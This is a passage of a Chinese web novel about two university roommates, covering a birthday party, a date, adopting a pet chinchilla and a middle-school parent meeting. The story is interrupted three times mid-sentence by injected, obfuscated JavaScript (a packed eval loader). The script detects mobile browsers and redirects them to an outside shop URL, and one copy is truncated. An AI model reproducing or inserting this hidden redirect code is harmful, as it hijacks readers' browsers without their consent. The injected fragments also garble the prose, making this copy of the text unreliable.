“这晚在街中偶遇心中的她, 两脚决定不听叫唤跟她归家, …… 纤纤身影飘飘身影, 默默转——”① 音乐很突兀地暂停,众人看了看宁启洄,又看了看林若锦。 后者干笑两声,“手误手误,不过停都停了,愿赌服输吧宁哥。” 林若锦看着的她宁哥此刻手里捏着快要变形的兔子玩偶,像是在痛击她一样。 宁启洄冷冰冰扫视:“……”过分了,这句词都没让唱完,人歌手的嘴都卡成平行四边形了。 林若锦讪笑:骚瑞啦,再不暂停玩偶就传走了。 宁启洄试图回忆歌手唱了什么,好像是…… 不得了,这歌他听都没听过,被刚才这么一打岔,完全不记得旋律是什么。 “能再放一遍吗?”宁启洄冷静申请。 林若锦冷酷驳回,“不允,接词吧朋友。”眼里闪烁着兴奋的光。 宁启洄叹气,“真心话。” 大冒险是选不得了,上次就嘴对嘴吃pocky了,天知道她惩罚牌上还有些什么鬼东西。 林若锦眼睛又亮了亮,本想直接问他们的恋爱进展怎么样,但毕竟在场有些人不是在A大读书,这样暴露人家的隐私不合适。 林若锦想了想,谨慎地问:“你觉得,你是个听,嗯……善于纳谏的人吗?” “……?” 语文学狗身上去了?还纳谏。 宁启洄沉默片刻,缓缓开口,“如果有机会的话,我可以是。”但估计是没机会,人类的思想已经解放了,封建王朝一去不复返。 林若锦眼睛亮了又亮:她磕的CP还有救! 这个莫名其妙的问题,让在场所有人都摸不着头脑,除了七百CP本人。 宁启洄是已经看过看花人太太的七百CP同人大作的,自然知道林若锦这些弯弯绕绕是想干什么。 纳谏,不就是对应岑柏意理想对象的“听话”吗。 想着,宁启洄叹气,扭头对上岑柏意的视线。 后者眼里划过一抹笑意,给他倒了杯水,“喝点水,等会要回去了。” 是哦,他们还得回宿舍。 明天上午化学系学院楼有个讲座,是清大化学系教授来A大做演讲,宁启洄想去听听。 在家睡的话,他肯定会完美错过的,还喝了这么些酒,阿姨拿大喇叭都叫不醒。 要散场了,一群朋友都纷纷送上礼物,这是以朋友的身份私人给宁启洄的,楼下登记的那些宾客送的,基本上算是人情。 宁启洄最开始那几年还很期待,直到收到不少精美的花瓶、珍贵的宝石项链等,他就觉得,这是一种人情,和过年红包一个性质的。 宁启洄勾起唇收下一个个包装精美的礼物盒,他的同学朋友大多家境不错,但也有比较一般的,所以送礼物都会用盒子包起来,等他们离开了再拆。 送一个走一个,走之前都和宁启洄抱了抱,只有几个女生,红着脸和林若锦抱了抱。 正在头脑风暴整理同人文素材的林若锦:“?” 林枫晚举着杯,脚步踉跄地走过来。 “阿、阿宁,祝你,嗝~祝你生日快乐。”林枫晚把杯中酒一饮而尽,认真看向宁启洄,“你、你成年了,以后搞事要注、注意着点儿,会、会蹲局子的!” 林枫晚眯起眼睛笑,宁启洄面无表情,把他甩给江千陵。 “收好,你的酒鬼男友。” 最后送礼物的是岑柏意,屋子里只剩下310的四个精血男人们。 玩游戏中途大家还是喝了点酒,这会,宁启洄有一捏捏醉醺醺的,眯着眼看岑柏意递过来的长盒子。 “你送的什么?” “装饰品。”岑柏意回答。 宁启洄笑眯眯点头,却见岑柏意站在原地,抿唇没动,眼睛定定地看着他。 他收好礼物,扭头,“?” “怎么了?”在玩木头人吗? 岑柏意垂眸,和宁启洄的眼眸对上。 他动了动嘴,小小声飘入宁启洄耳朵里,“不是,要抱吗?” 宁启洄险些笑出声,他扭脸无声笑了笑,肩膀不住颤抖。 岑柏意脸腾地一下红了,讷讷道:“我看他们都、都抱了一下。” 似乎有些紧张,说话还打了个磕巴。 江千陵已经把3000瓦的无敌闪亮大灯泡林枫晚给拎了出去,随便找了个犄角旮旯给人塞进去了,徒留试图把老哥逮回去继续挖掘素材的林若锦在大厅里徘徊。 宁启洄扭回脸,把笑出来的眼泪憋回去,眼眶里盈了浅浅的泪光。 “也没说不抱啊。”他笑道。 岑柏意眼睛亮起来,一错不错盯着宁启洄。 就听对面那人说:“抱,来。” 说着,自然地伸出手,就像那天穿着嫁衣,两人相拥在一起的情形一样。 抱了不知道多久,宁启洄右手还举着那个礼物盒,有点重,手举麻了,而紧紧抱着他的人还没有松开的意思。 他笑,“好抱吗?” 岑柏意耳尖滚烫,退后半步撤身开,老实点点头。 宁启洄就是随口一问臊一臊他,没想到他居然还真这么实诚。 在心底笑了笑,宁启洄一本正经,“我也觉得好抱。” 说完,岑柏意脸上刚消下去的热度又涌来了,垂着眼不敢看他。 宁启洄暗笑,学神真可爱。 …… 宴会最终散场,宁启洄给宁霄城打了个招呼,换回常穿的便服,岑柏意和江千陵准备回学校了再换。 几人鬼鬼祟祟溜到宿舍楼下,给夜间管理员打电话,挨顿批,然后溜进去。 “三点多了还回来做什么。”管理员收好钥匙,骑着小电驴嘀嘀咕咕走了。 宁启洄晃晃悠悠走在走廊上,岑柏意紧跟着他。 等到快进寝室了,他突然回头,看了一眼江千陵。 瞬间get到他的眼神的江千陵:“……” 很好,又到了终极牛马对对碰的环节。 江千陵拖着林枫晚拐了个弯。 林枫晚抗议,“你干什么?!” 他酒量实在不好,由于他妹妹明箱操作,他没被转到过一次,在边上和江千陵哞哞喝酒,试图把“酒量不好”的江少爷灌醉,然后自己就被放倒了。 现在他晕晕乎乎的,整个人靠在江千陵怀里,嘟囔着要去扶宁启洄。 江千陵低声哄道:“去吹吹风醒酒怎么样?” “我没醉!”醉鬼再次抗议,尊严不容丢失。 “好好好没醉,我醉了,陪我去吹吹风。”江千陵哄着,把人拐去三楼的大阳台上,大阳台上摆了桌子椅子,正好让两人休息休息。 临走前,江千陵给岑柏意丢了个“放心一切有我”的眼神,然后施施然离开。 进了310,岑柏意轻轻关上门。 宁启洄挑眉,“他们俩睡走廊?” 岑柏意眨眼,“可能吧。” “……” “我还有礼物要送给你。” 宁启洄一愣,“不是送过了?” 岑柏意摇头,“那不一样,你、你先拆开宴会上送的礼物,看看喜不喜欢。” 依言,宁启洄拆了那个包装精美的盒子,绸带散落,盒子里静静躺着一块银白色的手表。 借着窗外的月光,宁启洄能看见表盘上嵌了钻,小钻拼成NQH——是他的名字。 宁启洄戴在手腕上,动了动手,抬头笑道:“很好看,我很喜欢。” 闻言,岑柏意松了口气。 这手表的款式是他亲手设计的,上面嵌的钻石也是他一颗颗粘上去的,费了不少的时间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012940|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过现在听见宁启洄说喜欢,他觉得就很值得。 “你先等等,我去拿礼物。” 说着,不给宁启洄说话的机会,转身出了310。 没过多久,岑柏意拿了个小蛋糕回来,“这是我自己做的。”他做完就存在宿管的冰箱里了。 他凌晨三点多去拿蛋糕,挨了几句说才拿回来。 因为是自己做的,没有准备蜡烛。 岑柏意想了想,从江千陵桌子上薅了个打火机来,按开,昏暗的寝室里亮起一抹黄色的光,“许个愿。” “你什么时候做的?”宁启洄看了看可爱的栗子造型小蛋糕,突然问。 岑柏意沉默一瞬,“……中午。” 宁启洄也默了默,“……应该,不会坏吧。” 岑柏意手指动了动,要把蛋糕撤走,“别吃了,万一吃坏肚子。” 宁启洄先一步伸手沾了点奶油,放进嘴里舔了舔。 他笑弯了眼,“很好吃,我很喜欢。” 岑柏意呼吸一滞,眼睛一眨不眨看向他,蛋糕被他整个抢走。 “来一口吗?”宁启洄含笑看他,把装小蛋糕的盘子朝他那边推了推,“毕竟你辛辛苦苦做了那么久。” 岑柏意摇头,“你先吃。” 他站着,看宁启洄吃完了整个蛋糕。 宁启洄吃相很优雅,舀起蛋糕小口小口往嘴里送,闭着嘴细细品味,偶尔一奶油沾在唇边,粉.嫩的舌尖会快速扫过,卷走棕色白色的奶油,留下香甜的气息。 直到还剩下最后几口,宁启洄把盘子递给他。 这次,岑柏意并没有拒绝。 他没有准备第二个勺子,宁启洄去桌子上找了个勺子,转身就发现岑柏意已经用他吃过的勺子把最后一口蛋糕吃掉了。 宁启洄眨眨眼,岑柏意先一步开口,“就一口,换勺子麻烦。” 宁启洄被说服,点头。 两人沉默地站了一会,宁启洄懒懒地打了个哈欠。 岑柏意垂在身侧的手蜷了蜷,缓缓开口,“我还有份礼物送给你。” “?” 居然还有? 学神,你究竟是有多少惊喜是我不知道的? 宁启洄看过去,好整以暇等着。 岑柏意:“你先闭上眼。” 闻言,宁启洄顺从地闭眼。 岑柏意深吸一口气,从兜里掏出一根绳子,系在宁启洄的手腕上。 他的手腕很细,红色的绳子衬得皮肤越发雪白,上面串了一颗白色的圆珠子。 “好了。”声音有点紧张。 宁启洄睁眼,看见手腕上戴了一条红绳手串,上面串了颗菩提珠。 “保平安的。”岑柏意没有过多解释,只说让他一直戴着。 这菩提珠是他去庙里求的,绳子是买来自己编织的,也拿去找庙里的大师开过光,然后再把菩提子串起来。 虽然有点迷信,但他还是想宁启洄能一直平平安安的,和他的微信名一样。 宁启洄看着自己左手的表和右手的手串,笑了一下,感觉这就好像是给他捆住了。 “很惊喜,我真的很高兴。”宁启洄认真道。 他很久都没收到过这么有创意有心意的礼物了。 宁先生向来是一个不太会制造惊喜的人,规规矩矩送礼物,从电子设备到送辆车送栋房子都有可能,而苏女士偶尔动动脑筋,确实会让他惊喜,但大多时候都是送他最近看上且超出他可支配零花钱金额范围的东西。 “以后会有更多惊喜的。”岑柏意低声。 宁启洄看着手腕上的红绳,突然笑道:“该不会明天起了还有礼物吧?” 岑柏意动作一顿,声音发紧,“时候不早了,快睡吧。” “……”看来是有了。 宁启洄笑了一下,没说什么。 简单洗漱完,爬上床,闭眼睡觉,嘴角勾起一点弧度。 30. 约会 等江千陵偷偷摸摸把喝得烂醉的林枫晚扶回寝室,310已经熄了灯。 小阳台上有点声响,江千陵把林枫晚甩到床上,摸去阳台找岑柏意。 江千陵:“咋样了岑哥?” 岑柏意:“礼物送出去了。” 江千陵:“……啧。” 出息,费尽心思给你创造机会,居然还没拿下。 在江千陵看自家不争气的好大儿的眼神里,岑柏意慢悠悠爬上床睡觉了。 “……” —— 第二天一早,岑柏意贴心地叫宁启洄起床。 后者翻了个身,试图继续睡觉。 “还有讲座要听。”岑柏意撩起两张床之间的床帘,凑过去看他。 他也才刚醒,嗓音带着点清晨特有的沙哑,此刻半眯着眼看宁启洄。 宁启洄睡相确实不太好,他之前就领会过了,宿舍不宽的单人床影响了他的发挥。 此刻,他整个人是斜着的,脚踩在拧成团的被子上,睡衣半敞开,枕头被踹到床尾,脑袋歪在小玩偶上,脸颊睡得红红的。 毫无醒来的迹象。 想到昨晚宁启洄对他的叮嘱——一定要把他叫醒。 岑柏意沉默片刻,起床洗漱,然后又爬回去,把沾了点冷水的手塞进宁启洄的脖颈侧处。 “啊——” 一声尖叫,惊走了瞌睡虫。 本着独乐乐不如众乐乐的原则,宁启洄把宿醉的林枫晚也捞起来了。 讲座有点高深,宁启洄听了个半懂,听到最后开始走神。 睡觉之前,岑柏意似乎说今天还有惊喜来着——虽然他没直说,是宁启洄猜出来的,但他也没否认。 会是什么呢? 宁启洄撑着下巴,光明正大走着神。 讲座快要结束了,手机屏幕亮起,岑柏意给他发了消息: 【cby】:讲座结束了吗? 【岁岁平安】:马上结束。 【cby】:我在门口等你,中午出去吃可以吗? 看着这条消息,宁启洄勾起唇角,不知道为什么,他就是有点高兴。 【岁岁平安】:完全OK,去哪里吃? 【cby】:保密。 宁启洄抿唇笑,回了个团子好奇的表情包。 一旁的林枫晚看他好几眼,等他收起手机,实在没忍住,问:“你这是第二春了?” “?” 宁启洄客气请教,“第一春是?” 林枫晚:“岑柏意啊。” 宁启洄一愣,想起那个被面前人和他对象造作出来的贴吧情趣。 他斜睨了他一眼,没说话。 讲座结束,宁启洄快步走出去,一旁的林枫晚巴巴跟着。 门口站着两人,其中一位身形高大挺拔,面容俊朗,吸引不少旁人的目光也毫无反应,直到瞥见宁启洄的身影,那汪冻池才逐渐化为春水。 他朝他大步走来。 另一位吊儿郎当斜倚在树干上,脸上挂着招牌笑容,偶尔冲一旁偷看他的小姑娘抛个媚眼。 林枫晚怒气冲冲杀过去,质问他对象,“你干什么!能不能守点男德!” 江千陵笑得更灿烂,搭着他肩膀,好声好气哄着。 见林枫晚被江千陵拐走,宁启洄好奇探头,“就我们俩去?” 岑柏意面不改色,“他们要约会。” “噢噢。”宁启洄恍然大悟。 对哦,他们在一起的过程有点潦草了,是该约约会弥补一下。 于是,他贴心地没有发消息打扰他们俩。 宁启洄为自己维护兄弟的爱情的举动而感动。 岑柏意嘴角翘了翘,和宁启洄慢慢走在校园的林荫大道上。 今天天气很好,阳光明媚,穿过树叶在地上落下斑驳光影。 微风轻拂,树叶轻轻碰撞,发出沙沙的响声。 宁启洄笑了笑,他现在心情很好。 宁启洄歪头,瞥见岑柏意白皙脖颈处挂着一根红色的绳子,绳子的编织手法很眼熟。 “哎?你什么时候带项链了?”也不能说是项链,脖子上只有一条光秃秃的绳子,没有任何装饰品,除了交织的绳子样式添了些美感。 “是玉吗?” 一般用这种绳子串着的,大多是玉佩。 红色的绳子衬得皮肤更加白皙,和岑柏意的气质并不符合,以前也没见他戴过,好像就是昨晚戴上的。 他想要凑过头再去看,就被岑柏意笑着让开,“是很重要的东西。” 宁启洄噘着嘴,嘟囔道:“不看就不看,小气鬼。” 岑柏意含笑,没有解释什么。 岑柏意带他去了一家偏西式的餐厅,口碑不错,不过宁启洄没来过,他一般都是被苏女士点外卖糊弄过去了。 菜单上都是中英双语,菜名取得很文艺,文艺得有些令人牙酸,价格也偏高。 餐厅在十三层,两人坐着靠窗边,往外看就能看见A市车水马龙的繁华景象。 “我请你吧,我有钱。”宁启洄冲他笑了笑,露出两颗小虎牙。 国庆假最近从岑老板这里赚了不少,宁启洄的小金库现在充盈了一些。 岑柏意也笑,“我来吧,这也算惊喜的一部分。” 见宁启洄还要说什么,他补充道:“下次你请我。” 宁启洄这才作罢,心情很好地勾了几道菜。 菜品味道不错,宁启洄吃得很开心。 咽下煎得焦香的培根,他突然想起一件事情,“阿念的家长会是什么时候?” 岑柏意手一顿,随即自如地给他夹菜,“这个好吃你尝尝……他说是明天上午。” 听说岑念今天学校里要补课,所以这周的家教就没有继续。 宁启洄点头,正要问具体的时间地点,就听他继续道:“明天我带你去。” “?” 岑柏意:“我和你一起给他开家长会。” 宁启洄:那请问我在这场家长会中起到一个什么样的作用呢? 见他诧异的表情过于明显,岑柏意抿唇,“你对他学校不熟悉,这次我带着你去。” 宁启洄点头。 这男人真是该死的贴心。 吃过饭,岑柏意又带宁启洄去看了电影。 等宁启洄捧着爆米花和快乐水坐进黑漆漆的电影院里,这才后知后觉意识到不对劲。 吃饭,看电影……这流程有点眼熟啊,应该是他另外两位好舍友该做的事情,怎么他俩也在做。 一旁的岑柏意面不改色直视前方,主要到宁启洄看他,他才侧目,低声询问:“怎么了?” 语气和平常无异,看来是他想多了,宁启洄摇摇头说没事。 电影是前不久上映的,一部爱情片,就是很常见的的狗血剧情,你追我我躲你,恨来恨去的那种,但剧情也确实吸引人。 吻戏不少,吻到高潮处,前后左右的小情侣都会不自觉贴在一起,黏腻纠缠的水声此起彼伏。 宁启洄都替他们捏把汗,不是说电影院有红外线摄像头吗,这不被看得清清楚楚。 身旁的岑柏意也不淡定了,朝宁启洄这边靠了靠,似乎想远离那些声音。 表情局促又紧张。 宁启洄笑得坐着椅子上发抖,“下次换部别的。” 岑柏意点头,声音发紧,“嗯。” 后座的人推了他一下,“哥们震轻点,电影院别搞这么激烈。” 宁启洄:“?” 电影结束,岑柏意像是终于解脱了一般,松了口气拉着宁启洄往外跑。 宁启洄边跑边笑。 直到彻底远离电影院,岑柏意才放慢脚步。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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奶茶店边上有一家宠物店,岑柏意拎了奶茶出来,很自然地就带着宁启洄走了进去。 “?” 宁启洄疑惑,“进去干什么?” 岑柏意抿唇,“顺路。” “……”这可太顺路了。 来都来了,宁启洄也跟着走进去。 宠物店不大,进去就有一只很漂亮的白毛鹦鹉冲他们尖叫:“欢迎光临!欢迎光临!” 小鹦鹉漆黑的豆豆眼盯着进门的两人,奶黄色的头歪了歪,脸颊两大坨橘色腮红抖了抖。 宁启洄乐了一下,这只小鹦鹉和他家的小凤长得很像,看着也比他家小凤聪明。 小凤话都不会说两句。 店长是个二十多岁的年轻女生,扎着两个小麻花辫,戴了圆框黑色眼镜,笑起来脸上有酒窝。 她坐在椅子上喂猫,看见两人进来了,微笑欢迎。 “这是我养的鹦鹉,叫波波。”店长起身,摸了摸小鹦鹉波波的毛,“波波,说你好。” 波波抖抖毛,脑袋蹭了蹭店长的手心。 “你好!你好!”波波扇了扇翅膀,大声道。 宁启洄不自觉往前走了几步,看着笼子里凑上前来想和他贴贴的猫猫狗狗们,弯了弯眼。 一回头,却发现岑柏意没过来。 岑柏意此刻却站在一旁看着宁启洄在店里来回走动,唇角微勾,看着很温柔。 “送你的生日礼物,你想养一只宠物吗?” 宁启洄迟疑:“可是在寝室里不太方便,我课又多。” “我们一起。”岑柏意脱口而出,随即又补充道,“一起养,比较轻松。” 宁启洄眨眨眼,移开视线,在店里四处看。 他想,岑柏意是真的很温柔。 他真是个好人! 店长借着捡东西的功夫,弯腰藏在柜台下,忍不住静音尖叫。 啊啊啊啊!两个帅哥! 看起来好登对! 店长抬头,注意点岑柏意温柔的视线,再次弯腰。 啊啊啊!好好磕! 等店长兀自尖叫完,宁启洄也选好了宠物。 是一只米白色的小龙猫。 31. 开会 小龙猫身体是米白色的,脸圆圆的,脑袋上长着两只大大的灰耳朵,此刻瞪着两只滴溜圆的黑豆豆眼睛看他。 宁启洄被萌得一脸血。 啊啊啊!好可爱! 岑柏意观察了一会宁启洄的表情,嘴边的弧度都下不来。 看来是很喜欢了。 掏手机,付款。 这只长毛银斑龙猫价格不便宜,店长脸上的笑更灿烂了一些,“需要把鼠粮和笼子食盆一起买好吗?打八折~” 十分钟以后,宁启洄和岑柏意大包小包从宠物店出来了,店长站在门口笑着目送他们离开。 走了很久,宁启洄突然发声,“我们养宠物,是不是要跟他们打个招呼?” 岑柏意淡定,“江千陵会跟林枫晚说的。” 宁启洄点头,突然想起刚才出了电影院直到刚才买完龙猫出来,岑柏意都没有打开微信联系江千陵一次。 于是,他又看了他一眼。 “……怎么了?” “没事。” 原来是蓄谋已久啊。 华灯初上,两人才回到学校。 等两人把小龙猫安置好,宁启洄叉腰,看着比书桌还要高点柜笼——为了给龙猫儿砸一个宽敞的巅峰豪宅,好像放不进去啊。 宁启洄摸摸下巴,看着巅峰豪宅被放在通往阳台的门口的边上。 宁启洄:“宿舍允许养宠物吗?” 岑柏意:“……好像不。” 宁启洄:“这个位置辅导员一进门就能看见。” 学校有要求,辅导员需要不定期进行宿舍检查。 岑柏意默了默,“应该,问题不大,导员检查会提前通知,到时候把它好好藏着。” 宁启洄看了看及他腰高的柜笼,觉得可能不太藏得住。 管他呢,到时候把儿砸藏好就行,住宅鼠粮什么的,收就收了。 爸爸有钱! “你是他爸爸,那我是不是也算是。”岑柏意不敢抬头看他,眼睛一直盯着那只上蹿下跳、对陌生环境毫无应激反应的小龙猫。 宁启洄一笑,“当然,你可是他大哥,是吧大侄子。” “……”岑柏意抿唇,“我陪你一起买的。” 宁启洄从他的语气听出一些说不出来的委屈。 他还在细数,“房子也是我们一起挑的,还有食物,玩具……我们都一起养它了,我还不能当他爸爸吗。” 宁启洄险些笑出声,他一本正经,“那你当他爸爸了,我是谁?” “你是小爸。” “?” 自己的建议被否定,岑柏意认真想了想,“那我当他daddy。” 岑柏意靠得很近,他嗓音有点低,英语发音很标准,听着很苏。 宁启洄揉揉有些麻麻的耳朵,点了下头。 “取个名字吧。”岑柏意给喂水器灌了点饮用水。 宁启洄盯着小龙猫全身奶白色,大耳朵和眼眶周围都是浅灰色,像只露馅了的黑芝麻汤圆。 “就叫汤圆吧。”宁启洄舔舔唇,“小汤圆,听着就好吃。” 岑柏意失笑,“饿了吗?给你点份小汤圆,黑芝麻馅的?” 宁启洄假客气推辞一番,然后开始等待。 汤圆热气腾腾的,皮很嫩很薄,一咬开,香甜丝滑的芝麻馅就糊糊就流出来,顺着勺子往碗里滴,把白色的汤变得灰灰的。 “小心烫。”岑柏意提醒道。 宁启洄把勺子递给他,“来一口?” 蛋糕都同个勺子吃了,也不差这一口了。 岑柏意嘴角忍不住翘起,又克制地压下。 “好吃,很甜。” “可惜有点太甜了,少放一丢丢糖就刚刚好。”宁启洄又把勺子拿回来,舀汤圆--晾凉--塞嘴里,一气呵成。 “我也觉得。”岑柏意一副“你说的都对”的表情。 龙猫小汤圆丝毫不知道他的两位爸爸正在对它的分身指指点点,它有些兴奋地在大柜笼里上蹿下跳。 没有奋斗不靠努力全凭啃老,年纪轻轻的小汤圆就成为了成功鼠士。 没过多久,出去“约会”的另外两人也回来了。 “哟,这是熊猫?”林枫晚有些稀奇地探头看过来。 小汤圆扒拉两下巅峰豪宅里晃晃悠悠的木制吊梯,扭头冲林枫晚“唧唧”两声,表示不满。 “哟呵,还敢冲我叫。”林枫晚撸起袖子,冲小汤圆挥了挥拳头,“看没,沙包大的拳头,揍得你嗷嗷叫。” 其他三人:“……”真幼稚。 宁启洄扶额,把林枫晚拉开。 “它叫汤圆,是只龙猫。”说着,瞪了眼林枫晚。 什么熊猫,成年第二天,就要把他送进去蹲局子吗。 美好的一天,以林枫晚的鸡飞狗跳结尾。 第二天,宁启洄又被岑柏意给冻醒。 今天没有一起的道友了,宁启洄只能独乐乐地爬起来,挑了件看着不那么随便的休闲装扮。 去食堂吃了顿健康早饭,两人这才坐车去了岑念的学校。 岑念所在的中学是大学城边上的康明中学,也就是今年高考状元所在的重点中学,分初中部和高中部。 一路上,宁启洄搜了不少关于家长会的信息。 以前,苏女士去给他开家长会,都是上去领奖的,有时候也会发表一下培养学生的感言,但他一般躲在地下和林枫晚打扑克。 但岑念目前的成绩好像算不上太好,宁启洄有些担心,不知道前方在等着自己的是什么。 岑柏意见状,宽慰道:“没事,他这次月考进步了。” “多少?”宁启洄充满希冀地问。 “进步一百一十一名。”岑柏意想了想,补充道,“班级排名四十二,年级九百零七。” “……”好令人震撼的排名。 宁启洄沉默地关掉了搜索界面【家长会发言的注意事项】 应该是用不上了。 到康明中学了,月考是初中高中都一起考,考完也都要开家长会,不过是分开的。 今天是初中三个年级的家长会,校门口站着不少穿红马甲的人,似乎是志愿者,领着不认识路的家长们进去。 从门口看进去,道路两边挂着横幅: 【风华正茂 奋斗当时】① 【家校相向而行 少年向阳而生】 按照指引走到初一年级教学楼,迎面就是一条更大的横幅: 【欢迎学生家长参加康明中学2024家长会】 教室里果然也有横幅,不过要简约许多: 【9月初一1班家长会】 岑念所在的实验班就是1班。 宁启洄看着满学校飘扬的红色横幅,嘴角忍不住抽了抽。 这策划怕不是林枫晚做的吧。 “小宁老师!”教室里正在和同学交谈的岑念兴奋地冲两人招招手。 一旁被完全忽视掉的岑柏意:“……” 宁启洄看见岑念同身边的女孩子说了点什么,那女孩子也抬头看过来,眼里闪着异样的光芒。 这眼神很熟悉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012942|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岑念看他和他哥相处的时候,时不时会这样。 岑念嘚吧嘚吧几下跑出来,宁启洄摸摸他的头,蓬松柔软,手感很好,他忍不住又rua了rua。 “低调低调,毕竟今天是你家长。”被误会了就不好了。 之前就有这种情况,他一同学的奶奶是学校退休的老师,不少年轻家长都是他的学生,到教室里都跟她客客气气打招呼。 有一位学生家长是外地的,第一次来开家长会,错把那位退休老教师当成自家孩子的班主任了,唠了老半天才意识到认错人了。 宁启洄可不想产生这样美丽的误会。 岑念眼睛骨碌碌一转,嘿嘿笑道:“小宁老师要当我家长,和我哥一起来,是冒充我嫂子吗?” “?!!!” 这这这,这不合适吧?! 宁启洄瞳孔地震:现在的初中生怎么这样! 岑柏意也是一愣,瞥见宁启洄红通通的耳尖,轻咳一声,对上岑念控制不住的吃瓜表情,故作严肃道:“别开你小宁老师的玩笑。” 宁启洄凭借仅剩的理智,试图把岑柏意的“怒火”镇压,“阿念也不是故意的,你别生气,别生气……” 他怕岑念被他哥暴揍一顿,到时候缺胳膊少腿的,多不好。 岑念:“?”他小宁老师脑回路还真是挺奇妙。 难怪能当上他嫂子!(突然兴奋) 岑柏意:“……??” 他缓缓低头,对上宁启洄的视线。 见岑柏意不说话,宁启洄还在可劲劝。 “我没生气。”岑柏意无奈道。 见他没气,宁启洄这才缓缓松了一口气。 注意力被转移,当事“嫂子”丝毫没有觉得哪里不对劲。 岑柏意眼里闪过一丝笑意,但欣慰的同时,又有些疑惑不解:在宁启洄心中,他对岑念到底是做了什么? 康明中学教室的课桌比一般的要更宽大,这是为了存放大量的资料和课本,以免摞太高挡住视线。 宽大的座椅两个人也能勉强坐下,所以来开家长会的家长都是和学生坐在一起。 此刻,岑念搬了个小板凳坐在课桌边上,眼睛冒光看着挤在一起的两位哥哥。 宁启洄有些不适应地动了动。 课桌到底是给初中生设计的,他一米八几,课桌对他来说还是矮了点,此刻,一双大长腿无处安放,只能委屈地挤在课桌底下。 岑柏意就更不用说了,为了给宁启洄空出点地方,把自己的腿委屈地缩在角落。 宁启洄于心不忍,“要不还是我坐板凳吧。” “不行!” “不用。” 两兄弟同时出声,宁启洄盯着他们看了几秒,直到岑柏意耳朵尖尖烧起来了,这次挪开视线。 班上男生被叫去搬东西,课桌上只剩他们俩。 岑念的前桌是个小姑娘,扎着双马尾,别了很好看的水果发卡,布灵布灵的。 小姑娘回头,看了眼宁启洄,又转过去,然后又转回来,小脸红红的,再然后,又转回去。 “……” 宁启洄无奈,突然瞥见黑板边上的每日课程计划和学科作业,想起什么似的,叫了前面的小姑娘一声。 “小同学,请问你们昨天补课到什么时候啊?” 课程表已经排得满满当当,还有那么多作业,居然还补课。 “哎?我们昨天没有补课哎。”小姑娘觉得奇怪,歪头看宁启洄。 宁启洄:“……?” 身侧人突然身体一僵。 32. 形象 宁启洄瞥了眼表情明显僵硬起来的岑柏意。 见他呼吸放缓,似乎很快就要飘走的样子,宁启洄不由得心中好笑。 “因为,”岑柏意沉默许久,缓缓开口,“我要陪你过生日。” 没想到是这个原因,宁启洄一愣。 “那也不该让阿念撒谎。”他感动之余,又有些不认同。 在他心里,岑念还只是个没有独立行事能力的人,撒谎对他未来的成长并没有好处。 虽然不管是谁,小时候怕挨打,多多少少会撒点小谎,但二者性质不一样。 自己撒谎,和被别人,尤其是信赖的哥哥诱导去撒谎,是两码事。 就在宁启洄操着老母亲的心准备严肃“教育”一下不听话的哥哥的时候,哥哥缓缓开口: “是他自己说的,我事后才知道。” 岑柏意语气幽幽,估计在岑柏意心中,他的的地位要远高于他吧。 就很气。 宁启洄一愣,“为什么?” 岑柏意淡然,“谁知道呢。” 岑念:哥哥哥!不是你说你要约小宁老师出去的吗,不然我怎么可能骗小宁老师。 岑柏意:我没让你撒谎,你说你不想上课不就得了,这不算假话。 岑念悲愤:我要去给小宁老师检举揭发你! 岑柏意:你没证据,除非你舍得把最新款机器人交出去。 岑念:……算你狠,男人,你彻底失去我这个僚机了! 岑柏意单方面结束了这场眼神对话。 他想,僚机千千万,不行他就换。 与此同时,沐浴在阳光下奔跑的江千陵打了个喷嚏。 一旁的林枫晚逮住机会就嘲笑,“哈哈哈!就说你虚吧!” “……” 宁启洄耐心地等他们隔空对话结束,语气温和地开口,“阿念,为什么呢?” 顶着自家老哥的威胁视线和小宁老师的温柔刀,岑念咽咽口水,“因为……因为,因为我想要一天假。” “直接和我说不就好了?”宁启洄诧异。 再次试图和大哥眼神连线但失败的岑念绝望闭眼,他心一横,道:“因为我要给我的机器人搭个窝。” 宁启洄愣了好一会,才缓缓开口:“……什么?” 岑念露出一个看淡生死的表情,“我的机器人,他们都有生命,昨天他们托梦给我,要我给他们建一座钢铁堡垒,抵御来自外星人的入侵。” 宁启洄有些担忧地转头去看岑柏意,小小声,“你弟弟需不需要去看看……”心理医生? 他的精神状态似乎不太美好的亚子。 岑柏意依旧淡定,“不用,他一直都这样,最近尤其明显。” 宁启洄:“……”青春期的小孩真难懂。 家长会很平淡地过了,老师按照计划表cue流程,给前几名、学习认真的、班干部等发奖品,还有一些五花八门的名头,宁启洄也很配合地鼓掌。 直到最后,班主任拿起那一页薄薄的A4纸。 “进步奖:于萱萱,陈飞……岑念。” “请念到名字的同学及家长上台合影,请岑念同学和家长准备好发言。” 宁启洄:“?!!”为什么会叫到岑念?? 接下来班主任的话解答了他的疑惑,“这次月考,岑念同学进步最大,希望岑念同学和家长的发言能让同学们获得一些启发。” 